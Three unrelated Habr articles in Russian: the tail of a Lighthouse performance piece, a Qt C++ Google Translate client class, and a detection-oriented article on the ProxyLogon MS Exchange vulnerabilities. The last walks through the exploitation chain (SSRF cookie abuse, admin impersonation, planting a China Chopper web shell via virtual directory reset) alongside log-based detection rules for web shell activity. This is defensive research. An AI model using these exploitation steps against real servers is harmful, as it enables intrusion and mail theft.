Нужно ли вам добиваться таких показателей — решайте сами. Но помните: главное не сама оценка. Главное — сделать сайт достаточно быстрым, безопасным и удобным для пользователей.
### Какие еще есть инструменты для проверки производительности?
Lighthouse далеко не единственный инструмент для оптимизации скорости сайтов. Есть и другие, не менее популярные сервисы. Например, [WebPageTest](https://www.webpagetest.org/), [GTmetrix](https://gtmetrix.com/) и [Pingdom Tools](https://tools.pingdom.com/). Или даже [PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/?hl=ru), который использует для проверки алгоритмы Lighthouse, но работает только с сайтами, размещенными в Интернете. Протестировать сайты на локальном сервере с его помощью не получится.
У каждого из таких инструментов есть свои особенности. Например, GTmetrix и Pingdom Tools дают более развёрнутые результаты проверки.
Так выглядят оценки и результаты проверки в WebPageTestОни также показывают последовательность загрузки ресурсов и учитывают во время проверки местонахождение сервера — параметр, который тоже может влиять на производительность. А в GTmertix можно не только получить результаты тестирования, но и отслеживать их в дальнейшей работе.
Если по какой-то причине вам не подходит Lighthouse, можете остановиться на любом другом инструменте. Ведь главный принцип получения высокой оценки в любом из сервисов — это хороший, качественный код. А научиться его писать вы можете на профессиональных курсах «[HTML и CSS. Профессиональная вёрстка сайтов](https://htmlacademy.ru/intensive/htmlcss?utm_source=habr&utm_medium=special&utm_campaign=lighthouse231121)» и «[HTML и CSS. Адаптивная вёрстка и автоматизация](https://htmlacademy.ru/intensive/adaptive?utm_source=habr&utm_medium=special&utm_campaign=lighthouse231121)». | https://habr.com/ru/post/585866/ | null | ru | null |
# Класс по работе с Google Translate (Qt, C++)
Вот, решил выложить отдельно протокол, точнее класс протокола, Google Translate, по которому работает мой [переводчик](http://alexsnet.ru/opensource/translator/). В данный момент в протоколе есть возможность устанавливать прокси, делать перевод (разумеется) и, то, чего все просили, подсказки гуглу… То есть, если Вам не понравился перевод чего-либо Вы можете подсказать гуглу как это будет лучше переводится на Ваш взгляд. Ну, по-моему большего и не надо. А если надо — фичреквест и я добавлю!
Код под катом, смотрите…
Пока Вы еще не заглянули под хабракат… Сразу прошу прощения, код не такой большой, но все же выложен напрямую, скачать его можно вместе с исходниками переводчика, с моего блога.
Сильно не ругайте. Выкладываю в личном блоге, куда-то еще класть, думаю, нет смысла.
#### googleproto.cpp
> `#include "googleproto.h"
>
>
>
> GoogleProto::GoogleProto()
>
> {
>
> http = new QHttp(this);
>
> version = new QString("0.9.5");
>
>
>
> setTranslationArrays();
>
>
>
> connect( http, SIGNAL(done(bool)), this, SLOT(textTranslated()) );
>
> }
>
> int GoogleProto::setProxy( const QString & host, int port, const QString & username = QString(), const QString & password = QString() )
>
> {
>
> return http->setProxy( host, port, username, password );
>
> }
>
> void GoogleProto::suggestTranslation( int from, int to, QString original, QString gtrans, QString suggest )
>
> {
>
> QString url = QString( "/translate\_suggestion" );
>
> QString langpair("|");
>
> langpair.append( translatesShort.at(to) );
>
> langpair.prepend( translatesShort.at(from) );
>
>
>
> QByteArray ba("");
>
> ba.append( QString("gtrans=%1&langpair=%2&oe=UTF-8&text=%3&utrans=%4").arg(gtrans, langpair, original, suggest).toUtf8() );
>
>
>
> headers = QHttpRequestHeader("POST", url, 1, 1);
>
> headers.setValue("Host", "www.google.com");
>
> headers.setValue("User-Agent", "Mozilla/5.0 (ASTranslator)" );
>
> headers.setValue("Accept-Encoding", "deflate");
>
> headers.setContentLength( ba.length() );
>
> headers.setValue("Connection", "Close");
>
>
>
> http->setHost("translate.google.com");
>
> http->request( headers, ba );
>
> }
>
> void GoogleProto::startTranslation( int from, int to, QString text )
>
> {
>
> QString url = QString("/translate\_a/t?client=t&sl=" + translatesShort.at(from) + "&tl=" + translatesShort.at(to) );
>
>
>
> QByteArray ba("text=");
>
> ba.append( text.toUtf8() );
>
>
>
> headers = QHttpRequestHeader("POST", url, 1, 1);
>
> headers.setValue("Host", "www.google.com");
>
> headers.setValue("User-Agent", "Mozilla/5.0 (ASTranslator)" );
>
> headers.setValue("Accept-Encoding", "deflate");
>
> headers.setContentLength(text.length());
>
> headers.setValue("Connection", "Close");
>
>
>
> http->setHost("www.google.com");
>
> http->request( headers, ba );
>
>
>
> }
>
> void GoogleProto::textTranslated()
>
> {
>
> QString text;
>
> text = text.fromUtf8( http->readAll() );
>
>
>
> text = text.replace(QString("\\\""),QString("\""));
>
> text = text.replace(QString("\\n"),QString("\n"));
>
> text = text.replace(QString("\n "),QString("\n"));
>
> text = text.replace(QString("\\x3c"),QString("<"));
>
> text = text.replace(QString("\\x3e"),QString(">"));
>
>
>
> if( text.startsWith( QString("\"") ) ) {
>
> // This is a text
>
> text = text.remove( text.length()-1, 1).remove(0,1);
>
> } else if( text.startsWith( QString("[") ) && text.endsWith( QString("]") ) ) {
>
> // This is a word
>
> // Need dictionary mode
>
> QStringList tra;
>
> //tra = text.split(QRegExp(QString("\"(.\*)\"")));
>
> text = text.replace(QString("]"),QString(""));
>
> tra = text.split(QString("["));
>
> text = QString("");
>
> for(int i=0,j=0;i
> if(tra.at(i)!="") {
>
> if(j==0) {
>
> QString translation = tra.at(i);
>
> translation = translation.replace("\"","");
>
> translation = translation.replace(",","");
>
> text.append( translation );
>
> text.append( "\n\n") ;
>
> } else {
>
> QString translation = tra.at(i);
>
> QStringList translations = translation.split(",");
>
> for(int y=0;y
> translation = translations.at(y);
>
> translation = translation.replace("\"","");
>
> if(y==0) {
>
> text.append( QString( translation + ": ") );
>
> } else {
>
> text.append( QString( "\t" + translation + "\n" ) );
>
> }
>
> }
>
> text.append( "\n" );
>
> }
>
> j++;
>
> }
>
> }
>
> }
>
> emit( translationComplete( text ) );
>
> }
>
>
>
> void GoogleProto::setTranslationArrays()
>
> {
>
> translatesShort
>
> <<"sq" <<"ar" <<"bg" <<"ca"
>
> <<"zh-CN" <<"zh-TW" <<"hr"
>
> <<"cs" <<"da" <<"nl" <<"en"
>
> <<"et" <<"tl" <<"fi" <<"fr"
>
> <<"gl" <<"de" <<"el" <<"iw"
>
> <<"hi" <<"hu" <<"id" <<"it"
>
> <<"ja" <<"ko" <<"lv" <<"lt"
>
> <<"mt" <<"no" <<"pl" <<"pt"
>
> <<"ro" <<"ru" <<"sr" <<"sk"
>
> <<"sl" <<"es" <<"sv" <<"th"
>
> <<"tr" <<"uk" <<"vi";
>
> translatesFull
>
> <<"Albanian" <<"Arabic" <<"Bulgarian" <<"Catalan"
>
> <<"Chinese (Simplified)" <<"Chinese (Traditional)" <<"Croatian"
>
> <<"Czech" <<"Danish" <<"Dutch" <<"English"
>
> <<"Estonian" <<"Filipino" <<"Finnish" <<"French"
>
> <<"Galician" <<"German" <<"Greek" <<"Hebrew"
>
> <<"Hindi" <<"Hungarian" <<"Indonesian" <<"Italian"
>
> <<"Japanese" <<"Korean" <<"Latvian" <<"Lithuanian"
>
> <<"Maltese" <<"Norwegian" <<"Polish" <<"Portuguese"
>
> <<"Romanian" <<"Russian" <<"Serbian" <<"Slovak"
>
> <<"Slovenian" <<"Spanish" <<"Swedish" <<"Thai"
>
> <<"Turkish" <<"Ukrainian" <<"Vietnamese";
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
#### googleproto.h
> `#ifndef GOOGLEPROTO\_H
>
> #define GOOGLEPROTO\_H
>
>
>
> #include
>
> #include
>
>
>
> class QHttp;
>
>
>
> class GoogleProto : public QObject
>
> {
>
> Q\_OBJECT
>
> public:
>
> GoogleProto();
>
>
>
> int setProxy( const QString & host, int port, const QString & username, const QString & password );
>
> void suggestTranslation( int from, int to, QString original, QString gtrans, QString suggest );
>
>
>
> QStringList translatesShort;
>
> QStringList translatesFull;
>
>
>
> public slots:
>
> void textTranslated();
>
> void startTranslation( int from, int to, QString text );
>
>
>
> signals:
>
> QString translationComplete( QString text );
>
>
>
> private:
>
> QHttp \*http;
>
> QHttpRequestHeader headers;
>
>
>
> void setTranslationArrays();
>
>
>
> QString \*version;
>
> };
>
>
>
> #endif // GOOGLEPROTO\_H
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
И маленькая просьба… Будите использовать… Киньте линк на меня, где угодно… Это не обязательно, а мне приятно будет =) Еще неплохо, если Вы прямо мне отпишите, что используете это в таком и таком приложении.
Ну вот, всем риятного начала рабочей недели ;) | https://habr.com/ru/post/62577/ | null | ru | null |
# Охота на атаки MS Exchange. Часть 1. ProxyLogon (CVE-2021-26855, 26858, 27065, 26857)
**Авторы статьи:** [Антон Медведев](https://twitter.com/BigToni94), [Демьян Соколин](https://twitter.com/_drd0c), [Вадим Хрыков](https://twitter.com/BlackMatter23)
Microsoft Exchange — один из самых распространенных почтовых серверов, который используют сотни тысяч компаний по всему миру. Популярность и доступность из интернета делают его притягательной целью для злоумышленников.
С конца 2020 года мы наблюдаем резкий рост количества инцидентов, так или иначе связанных с компрометацией сервера MS Exchange и его различных компонентов, в частности OWA (Outlook Web Access). Учитывая 24-летнюю историю сервера MS Exchange, сложность его архитектуры, расположение на периметре и возросший к нему интерес со стороны исследователей по безопасности, можно предположить, что количество найденных уязвимостей в популярном почтовом сервере со временем будет только расти. Свидетельство тому — недавно обнаруженная исследователями из [DEVCORE](https://devco.re/en/about/) цепочка критических уязвимостей, известная под общим названием [ProxyLogon](https://proxylogon.com/).
Все это побудило нас написать цикл статей, посвященных безопасности MS Exchange: атакам на сервер и методам их обнаружения.
В первой статье цикла мы вкратце расскажем об архитектуре сервера MS Exchange и сразу перейдем к наиболее актуальной для всех теме — обнаружению фактов эксплуатации уязвимостей ProxyLogon. Мы покажем, как при помощи штатных событий операционной системы и журналов Exchange можно обнаружить ProxyLogon, причем как в реальном времени, с использованием проактивных подходов охоты за угрозами, так и уже случившиеся в прошлом атаки.
Архитектура и основные векторы атак на MS Exchange
--------------------------------------------------
Основные компоненты сервера MS Exchange и связи между ними представлены на схеме ниже.
*Архитектура MS Exchange
Источник: microsoft.com*
В зависимости от версии у MS Exchange могут быть следующие роли:
* Сервер почтовых ящиков (Mailbox server).
* Сервер клиентского доступа (Client Access) — фронтенд-сервис, который проксирует клиентские запросы на бэкенд-серверы.
* Транспорт (Transport), который отвечает за управление почтовым потоком.
* Единая система обмена сообщениями (Unified Messaging), которая позволяет использовать голосовые сообщения и другие возможности телефонии (роль недоступна на серверах версии 2019).
* Управление (Management role), суть которого состоит в администрировании и гибкой настройке компонентов MS Exchange.
Табл. 1. Основные протоколы, используемые MS Exchange
| | | |
| --- | --- | --- |
| **Типы протоколов** | **Название** | **Описание** |
| Протоколы клиентского доступа | HTTP/HTTPS | Протокол, который используется клиентами, в том числе мобильными, чтобы обращаться к компонентам Exchange для работы с почтой, календарями, адресной книгой и т. д. |
| MAPI | Транспортный протокол для работы с почтой и другими компонентами, который используется клиентом Outlook для взаимодействия с сервером Exchange. Он имеет ряд преимуществ за счет инкапсуляции в HTTP |
| RPC over HTTP | Альтернативный транспортный протокол, который используется клиентом Outlook и мобильными устройствами |
| Протоколы для пересылки и хранения почты | SMTP | Протокол передачи почты в сетях TCP/IP |
| IMAP4/POP3 | Протоколы прикладного уровня для доступа к электронной почте |
| Протокол обмена данными со службой каталогов Active Directory | LDAP | Открытый протокол, который используется для хранения и извлечения данных из иерархической структуры каталогов |
Основные компоненты Exchange и их краткое описание приведены ниже:
* Outlook Web Access (OWA) — веб-интерфейс для предоставления доступа к почтовым ящикам и работы с ними (чтение/отправка/удаление почты, редактирование календаря и т. д.)
* Exchange Control Panel (ECP) — веб-интерфейс для администрирования компонентов Exchange: управления почтовыми ящиками, создания различных политик для управления почтовым потоком, подключения новых почтовых серверов и т. д.
* Autodiscover — служба, позволяющая клиентам получать информацию о расположении различных компонентов сервера Exchange, например URL для службы EWS. Для получения информации требуется предварительная аутентификация пользователя.
* Exchange Web Services (EWS) — API для предоставления различным приложениям доступа к компонентам почтовых ящиков.
* Exchange ActiveSync (EAS) — сервис, позволяющий пользователям мобильных устройств получать доступ к электронной почте, календарю, контактам, задачам и работать с этой информацией без подключения к интернету.
* RPC — служба клиентского доступа через протокол RPC, который работает поверх HTTP.
* Offline Address Book (OAB) — служба автономной адресной книги сервера Exchange, которая позволяет пользователям Outlook кешировать содержимое GAL (Global Address List) и обращаться к нему даже при отсутствии подключения к Exchange.
Все вышеописанные компоненты функционируют как приложения на веб-сервере Microsoft IIS.
Атакуя сервер MS Exchange, злоумышленники, как правило, преследуют следующие цели:
* Получение доступа к конфиденциальной информации, содержащейся в корпоративной почте.
* Запуск вредоносной рассылки с адресов компании-жертвы для проникновения в инфраструктуру другой организации.
* Компрометация УЗ с помощью компонентов Exchange (успешная брутфорс-атака или обнаружение учетных данных в почтовой переписке) для входа в сеть компании через один из корпоративных сервисов.
* Закрепление в сети компании (например, с помощью веб-шелла на сервисе OWA).
* Повышение привилегий в домене с помощью сервера Exchange.
* Выведение из строя сервера Exchange для нарушения внутренних бизнес-процессов компании (например, полное шифрование данных сервера).
Журналы и полезные события
--------------------------
Для обнаружения различных атак на сервер MS Exchange будут полезны события источников, приведенных в табл. 2.
Табл. 2. Характеристика источников событий
| Название источника | Краткое описание источника | Путь до источника |
| --- | --- | --- |
| События Security аудита Windows | Журнал хранит все события (старты процессов, успешные/неуспешные входы и т. д.), которые настраиваются в политике аудита | Журнал Security |
| События Application аудита Windows | Журнал Application содержит различную информацию о работе приложений в ОС Windows: ошибки запуска, heartbeat, изменение конфигурации и т. д. | Журнал Application |
| События аудита PowerShell | Журнал содержит события, которые регистрируют выполнение скрипт-блоков, pipelines и модулей PowerShell | Журнал Windows PowerShell
Журнал Microsoft-Windows-PowerShell/Operational |
| События управления MS Exchange | Журнал содержит информацию об управляющих действиях с компонентами Exchange. В нем отображаются все действия, выполненные с помощью Exchange Management Shell и ECP | Журнал MSExchange Management |
| События IIS — Web OWA (Outlook Web Access) | Журнал хранит события — access-логи веб-сервера IIS, которые содержат все обращения к интерфейсу OWA | `C:\inetpub\logs\LogFiles\W3SVC1\ u_ex*.log` |
| События IIS — Web ECP (Exchange Management Panel) | Журнал хранит события — access-логи веб-сервера IIS, которые содержат все обращения к интерфейсу ECP | `C:\inetpub\logs\LogFiles\W3SVC2\ u_ex*.log` |
| События EWS | Журнал содержит информацию о клиентском взаимодействии с сервисом EWS | `C:\Program Files\Microsoft\Exchange Server\\Logging\Ews\Ews\_\*.log` |
| События Sysmon | Журнал содержит события утилиты Sysmon, которая позволяет реализовывать расширенное логирование за счет установки своего драйвера в систему | Журнал Microsoft-Windows-Sysmon/Operational |
| Client RPC | Журнал содержит информацию о RPC-взаимодействии клиентов с сервером Exchange | `C:\Program Files\Microsoft\Exchange Server\\Logging\RPC Client Access\RCA\_\*.log` |
| Server ECP | Журнал содержит запросы к интерфейсу ECP | `C:\Program Files\Microsoft\Exchange Server\\Logging\ECP\Server\ECPServer\*.log` |
| OAB Generator | Журнал содержит события генератора OAB | `C:\Program Files\Microsoft\Exchange Server\V15\Logging\OABGeneratorLog\*.log` |
Описание уязвимостей ProxyLogon
-------------------------------
2 марта 2021 года Microsoft выпустила обновления безопасности для ряда критических уязвимостей сервера MS Exchange. Обновления исправляли в том числе и цепочку критических уязвимостей CVE-2021-26857, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, получившую общее название ProxyLogon. После выпуска обновлений безопасности и публикации первых статей о данных уязвимостях по всему миру начали фиксировать кибератаки с их использованием. Целью большинства атак была загрузка на сервер первичного веб-шелла для развития атаки в будущем. Хотя основной удар на себя приняли компании из США, мы также зафиксировали ряд подобных атак, направленных на наших клиентов из России и Азии.
*Цепочка уязвимостей ProxyLogon*
Рассмотрим немного подробнее цепочку уязвимостей ProxyLogon. Уязвимость CVE-2021-26857 на самом деле не входит в цепочку уязвимостей ProxyLogon, поскольку она приводит к выполнению кода на сервере и не требует предварительного использования других уязвимостей. Уязвимость CVE-2021-26857 связана с небезопасной десереализацией данных в сервисе единой системы обмена сообщениями (Unified Messaging Service). Для эксплуатации данной уязвимости требуется, чтобы роль Unified Messaging была установлена и сконфигурирована на сервере Exchange. Поскольку данная роль используется редко, до сих пор не было зафиксировано фактов эксплуатации этой уязвимости. Вместо нее атакующие используют цепочку уязвимостей CVE-2021-26855, CVE-2021-26858 и CVE-2021-27065, которая также позволяет удаленно выполнить произвольный код на почтовом сервере, но проще в эксплуатации.
ProxyLogon — это название уязвимости CVE-2021-26855 ([SSRF](https://portswigger.net/web-security/ssrf)), позволяющей внешнему атакующему обойти механизм аутентификации в MS Exchange и выдать себя за любого пользователя. Подделав запрос на стороне сервера, атакующий может отправить произвольный HTTP-запрос, который будет перенаправлен к другому внутреннему сервису от имени машинного аккаунта почтового сервера. Для эксплуатации уязвимости атакующий должен сформировать специальный POST-запрос на статический файл в директориях, доступных для чтения без аутентификации, например `/ecp/x.js`, при этом наличие файла в директории не требуется. Тело POST-запроса также будет перенаправлено на сервис, указанный в cookie с именем `X-BEResource`.
Таким образом, при помощи ProxyLogon атакующий может выдать себя, например, за администратора и аутентифицироваться в панели управления Exchange (ECP), после чего перезаписать любой файл в системе при помощи уязвимостей CVE-2021-26858 или CVE-2021-27065.
Наибольший эффект от перезаписи файлов достигается созданием веб-шелла в публично доступных директориях. Для создания веб-шелла атакующий эксплуатирует уязвимость во встроенном механизме виртуальных директорий. При создании новой виртуальной директории (например, для сервиса OAB) атакующий может указать в качестве ее внешнего адреса адрес, включающий в себя простейший веб-шелл. После чего злоумышленник должен сбросить настройки виртуальной директории и указать путь к файлу на сервере, в который должны быть сохранены текущие настройки виртуальной директории в качестве резервной копии. После сброса настроек файл, в который будет сохранена резервная копия виртуальной директории, будет содержать указанный на предыдущем шаге веб-шелл.
После эксплуатации цепочки уязвимостей злоумышленник получает возможность выполнять команды через веб-шелл на Exchange-сервере с привилегиями учетной записи, под которой запущен пул приложений на сервере IIS (по умолчанию `NT AUTHORITY\SYSTEM`). Для успешной эксплуатации цепочки уязвимостей атакующему требуется иметь сетевой доступ по порту 443 к серверу MS Exchange с установленной ролью `Client Access` и знать имя почтового ящика пользователя с правами администратора.
Обнаружение эксплуатации CVE-2021-26855
---------------------------------------
Уязвимость CVE-2021-26855 позволяет внешнему атакующему отправить произвольный HTTP-запрос, который будет перенаправлен к указанному внутреннему сервису от машинного аккаунта почтового сервера. Таким образом, уязвимость позволяет обойти механизм аутентификации сервера Exchange и выполнить запрос с наивысшими привилегиями.
Так как атакующий может указывать сервис, к которому будет перенаправлен произвольный HTTP-запрос, эту SSRF-уязвимость можно использовать по-разному. Рассмотрим два способа использования данной уязвимости: чтение электронной почты через EWS и загрузка веб-шелла через ECP (CVE-2021-26858 и CVE-2021-27065).
При помощи CVE-2021-26855 можно с легкостью скачать письма любого пользователя, зная лишь адрес его электронной почты. Для эксплуатации необходимо, чтобы в атакуемой инфраструктуре было как минимум два сервера MS Exchange. Например, запрос отправляется на сервер `exchange.lab.local`, а с него при помощи SSRF перенаправляется на `exchange02.lab.local`. На скриншоте ниже показан пример такого обращения к EWS API с использованием SOAP-запроса для получения последних 10 писем из почтового ящика `user1@lab.local`. Ответ от сервера содержит идентификаторы писем и другую информацию о них (например, заголовок или дату получения).
*SOAP-запрос для получения списка писем*
Если подставить идентификатор искомого письма в другой SOAP-запрос, можно получить оригинал этого письма.
*SOAP-запрос для получения письма*
Ответ от сервера будет содержать base64-представление оригинального письма.
*Декодированное содержимое письма*
Таким образом, все письма из любого почтового ящика могут быть скачаны с сервера без аутентификации. Почта часто используется для передачи конфиденциальной информации, например платежных поручений, конфигурационных файлов, учетных данных пользователей, паролей или инструкций по подключению к VPN-серверам и т. д. Злоумышленники могут использовать информацию, полученную из скомпрометированной почтовой переписки, для организации фишинговых рассылок и других киберпреступлений. Этот вектор атаки не менее опасен, чем загрузка веб-шелла на сервер.
Подобные запросы логируются в журнале EWS. Соответственно, правило для детектирования описанной атаки может выглядеть следующим образом:
* `event_log_source:'EWS' AND AuthenticatedUser end with:'$' AND SoapAction IS NOT NULL AND UserAgent contains:'ExchangeWebServicesProxy/CrossSite/' AND NOT (SoapAction = 'GetUserOofSettings')`
Второй способ использования SSRF-уязвимости — это аутентификация в ECP с последующей эксплуатацией уязвимостей CVE-2021-26858/CVE-2021-27065 для загрузки веб-шелла на сервер. Чтобы выполнять запросы к ECP, требуется установить полноценную сессию в ECP. Для того чтобы атакующий мог выдать себя за администратора при установлении сессии, ему необходимо узнать SID учетной записи администратора почтового сервера.
В первую очередь из ответа на NTLM-запрос к `/rpc/rpcproxy.dll` атакующий может узнать FQDN почтового сервера, которое понадобится на следующих этапах: оно будет указано в NTLM-ответе, который необходимо декодировать.
*Получение FQDN почтового сервера*
Следующий шаг — получение `LegacyDN` и идентификатора почтового ящика при помощи HTTP-запроса к Autodiscover. Полученный на предыдущем шаге FQDN почтового сервера указывается в cookie с именем `X-BEResource`.
*Запрос к Autodiscover для получения информации о почтовом ящике администратора*
Затем атакующий может получить SID искомого пользователя при помощи HTTP-запроса к MAPI. Атакующий отправляет запрос для делегирования доступа к почтовому ящику. Этот запрос также перенаправляется к MAPI от имени пользователя машинного аккаунта и вызывает ошибку доступа. Ошибка содержит SID искомого пользователя.
*Запрос к MAPI для получения SID администратора*
Наконец, получив SID пользователя, атакующий сможет аутентифицироваться на сервере, выдав себя за администратора, отправив специальным образом сформированный POST-запрос на `/ecp/proxyLogon.ecp`.
*Аутентификация на ECP под администратором*
Запрос включает в себя заголовок с именем `msExchLogonMailBox`, где в качестве значения указан SID пользователя, под которым необходимо аутентифицироваться. Тело POST-запроса также содержит SID этого пользователя. Сервер в ответ вернет две cookie с именами `ASP.NET_SessionId` и `msExchEcpCanary`, которые атакующий может использовать для любых последующих запросов к ECP. Получение этих cookies и есть конечный результат атакующего при эксплуатации уязвимости ProxyLogon (CVE-2021-26855), если он планирует использовать уязвимости CVE-2021-26858 и CVE-2021-27065 для последующей загрузки веб-шелла на сервер.
Подобные запросы логируются в журнале IIS. Соответственно, правило для детектирования данной активности может выглядеть следующим образом:
* `event_log_source:'IIS' AND cs-method:'POST' AND cs-uri-stem:'/ecp/proxyLogon.ecp' AND cs-username end with:'$'`
Обнаружение эксплуатации CVE-2021-26858, CVE-2021-27065
-------------------------------------------------------
Успешная эксплуатация уязвимости CVE-2021-27065 позволяет с помощью интерфейса ECP загрузить на сервер Exchange вредоносный файл, который впоследствии будет использоваться как веб-шелл. Для эксплуатации этой уязвимости требуется предварительная аутентификация, которая может быть пройдена при помощи CVE-2021-26855. Рассмотрим подробнее детали эксплуатации CVE-2021-27065.
Для начала войдем в интерфейс ECP и перейдем в раздел `Servers → Virtual directories`. Редактирование виртуальных директорий позволяет Exchange-приложению мигрировать через смену текущей директории приложения на IIS.
Перейдя к редактированию OAB (Default Web Site) в поле `External URL`, можно прописать код веб-шелла, например `China Chopper`:
*Изменение параметров виртуальной директории для OAB (Default Web Site)*
После установки новых параметров конфигурации виртуальной директории в журнале MSExchange Management мы можем увидеть следующее событие:
*Установка новых параметров виртуальной директории OAB (журнал `MSExchange Management`)*
На данную активность можно написать следующее правило:
* `event_log_source:('PowershellAudit' OR 'MSExchangeCMDExec') AND event_id:('1' OR ’800’ OR '4104') AND (Message contains ‘Set-’ AND Message contains ‘VirtualDirectory AND Message contains ‘-ExternalUrl’ AND Message contains ‘script’)`
На следующем шаге сбрасываются настройки виртуальной директории. В появившемся интерфейсе видим, что перед сбросом нам предлагается сохранить текущие настройки виртуальной директории в выбранном файле:
*Интерфейс сброса виртуальной директории OAB*
После сброса настроек для виртуальной директории в журнале MSExchange Management мы можем увидеть два события с `EventID` 1, где сначала используется команда `Remove-OabVirtualDirectory`, после чего в следующем событии используется `New-OabVirtualDirectory`. Эти события можно использовать как дополнительные индикаторы в случае срабатывания правила, описанного выше.
Сохраним конфигурацию как файл `test.aspx` по пути `C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth`. В событиях IIS ECP можно увидеть событие, говорящее нам о том, что настройки для виртуальной директории приложения были сброшены. Пример события:
```
2021-03-10 08:16:52 10.3.132.20 POST /ecp/DDI/DDIService.svc/SetObject ActivityCorrelationID=d874fdcd-bd9d-9545-af02-677d356f1aa9&schema=ResetOABVirtualDirectory
&msExchEcpCanary=xkdU4icLzEazuIzEhSZaYgDLNVmW49gIjMvzJCs7TmzJoNU9rXLN15tkY5JGHwEOROWXGGq9_NM.&ActID=113cbd79-1e40-4635-8bae-8c8af6731267
444 LAB\dadmin 192.168.1.20 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.82+Safari/537.36
https://exchange/ecp/VDirMgmt/ResetVirtualDirectory.aspx?pwmcid=6&ReturnObjectType=1&id=7a466ca6-419b-4445-9cc8-ae66a6bff719&schema=ResetOABVirtualDirectory 200 0 0 7
```
Правило на сброс настроек для виртуальных директорий по событиям журнала IIS будет иметь вид:
* `event_log_source:’IIS’ AND http_method:’POST’ AND http_code:'200' AND url_path:'/ecp/DDI/DDIService.svc/SetObject' AND (Message contains 'schema=Reset' AND Message contains 'VirtualDirectory')`
При эксплуатации данной уязвимости с помощью CVE-2021-26858 для манипуляций с виртуальными директориями используется SSRF-атака. По этой причине в поле `Username` будет указан машинный аккаунт, в нашем случае `lab.local\EXCHANGE$`, так как запрос инициирован самим сервером Exchange. Учитывая данный факт, можно реализовать еще одно правило:
* `event_log_source:’IIS’ AND http_method:’POST’ AND http_code:'200' AND url_path:'/ecp/DDI/DDIService.svc/SetObject' AND (Message contains 'schema=Reset' AND Message contains 'VirtualDirectory') AND Username contains '$'`
Содержимое конфигурационного файла `test.aspx` можно увидеть на скриншоте ниже, где в параметре `ExternalUrl` содержится заданный нами `China Chopper`.
*Содержимое файла `test.aspx`*
Давайте попробуем выполнить команду с помощью загруженного веб-шелла. С помощью Burp Suite мы указываем интересующую нас команду в POST-параметре `a`. Результат работы команды добавлен к ответу от сервера, после чего следует содержимое конфигурационного файла.
*Выполнение команд с помощью загруженного веб-шелла.*
Если просмотреть события старта процессов, то мы сможем увидеть выполнение нашей команды в рабочем процессе IIS, который запускает интерпретатор командной строки `cmd.exe` с соответствующими аргументами.
Добавив условие для интерпретатора PowerShell, на подобную активность можно написать следующее правило:
* `event_log_source:'Security' AND event_id:'4688' AND proc_parent_file_path end with:'\w3wp.exe' AND proc_file_path end with:('\cmd.exe' OR '\powershell.exe')`
Более подробно детектирование данной активности будет описано в одной из наших следующих статей.
*Активность веб-шелла в событиях журнала Security*
На практике данная CVE использовалась как полезная нагрузка после обхода аутентификации с помощью уязвимости CVE-2021-26855.
Уязвимость CVE-2021-26858 также позволяет записывать произвольный файл на сервер Exchange, но для успешной эксплуатации требуется предварительная аутентификация. Эту уязвимость можно также использовать в связке с SSRF (CVE-2021-26858).
По ней отсутствуют PoC в открытом доступе или другие источники с подробным описанием эксплуатации. Тем не менее компания Microsoft сообщила, как можно детектировать данную активность. Для этого реализуем следующее правило с помощью событий сервиса OAB Generator:
* `event_log_source:'OABGenerator' AND Message contains 'Download failed and temporary file'`
Файлы должны быть загружены только в директорию `%PROGRAMFILES%\Microsoft\Exchange Server\V15\ClientAccess\OAB\Temp`, запись файла в любые другие директории считается нелегитимной.
Обнаружение эксплуатации CVE-2021-26857
---------------------------------------
CVE-2021-26857 — уязвимость небезопасной десериализации в сервисе единой системы обмена сообщениями Unified Messaging.
Unified Messaging позволяет использовать голосовую почту и другие функции, включая функции Outlook Voice Access и Call Answering Rules. Для полноценной работы данной службы ее необходимо предварительно [настроить](https://docs.microsoft.com/en-us/exchange/deploy-exchange-2013-um-exchange-2013-help), кроме того, она довольно редко используется. По этой причине в реальных атаках злоумышленники чаще эксплуатируют CVE-2021-27065.
Проблема содержится в методе `Base64Deserialize` класса `CommonUtil`, а сам класс — в пространстве имен `Microsoft.Exchange.UM.UMCommon` библиотеки `Microsoft.Exchange.UM.UMCommon.dll`.
*Код метода `Base64Deserialize`*
Данный метод вызывается в основной библиотеке сервиса Unified Messaging — `Microsoft.Exchange.UM.UMCore.dll`, а именно в методе `FromHeaderFile` класса `PipelineContext` пространства имен `Microsoft.Exchange.UM.UMCore`. Таким образом, атакующий может сформировать свой сериализованный объект, например с помощью утилиты [ysoserial.net](https://github.com/pwntester/ysoserial.net), и удаленно выполнить свой код на сервере Exchange в контексте `SYSTEM`.
*Фрагмент метода `FromHeaderFile`*
В новой версии библиотеки `Microsoft.Exchange.UM.UMCore.dll` (после установки обновления) добавлено множество проверок типов входящих объектов до процесса их десериализации. Как можно увидеть на скриншоте ниже, библиотека загружается в процесс `UMWorkerProcess.exe`. Следовательно, в случае эксплуатации уязвимости аномальная активность будет инициирована данным процессом.
*Использование библиотеки `Microsoft.Exchange.UM.UMCore.dll`*
Правило для обнаружения запуска подозрительных дочерних процессов процессом UMWorkerProcess.exe (старт `cmd/powershell,` по событиям журналов Security и Sysmon):
* `event_log_source:'Security' AND event_id:'4688' AND proc_parent_file_path end with:'\UMWorkerProcess.exe' AND proc_file_path end with:('\cmd.exe' OR '\powershell.exe')`
В качестве полезной нагрузки в файловой системе может быть создан вредоносный файл, например реверс-шелл в каталоге автозагрузки или веб-шелл в одной из директорий IIS. Для детектирования данной активности можно реализовать следующее правило:
* `event_log_source:’Sysmon’ AND event_id:'11' AND proc_file_path end with:'\UMWorkerProcess.exe' AND file_name end with:(*.asp OR *.aspx) AND file_path contains:("\ClientAccess\Owa\" OR "\HttpProxy\Owa\" OR "\inetpub\wwwroot\" OR "\www\")`
Заключение
----------
По данным Microsoft, на момент написания статьи около 92% серверов MS Exchange уже обновлены и больше не уязвимы к ProxyLogon. Тем, кто еще не установил патчи, нужно срочно это сделать.
Даже если серверы уже обновлены, стоит проверить их на признаки эксплуатации ProxyLogon и при необходимости устранить ее последствия. Сделать это довольно просто, имея под рукой штатные события журналов операционной системы и сервера Exchange.
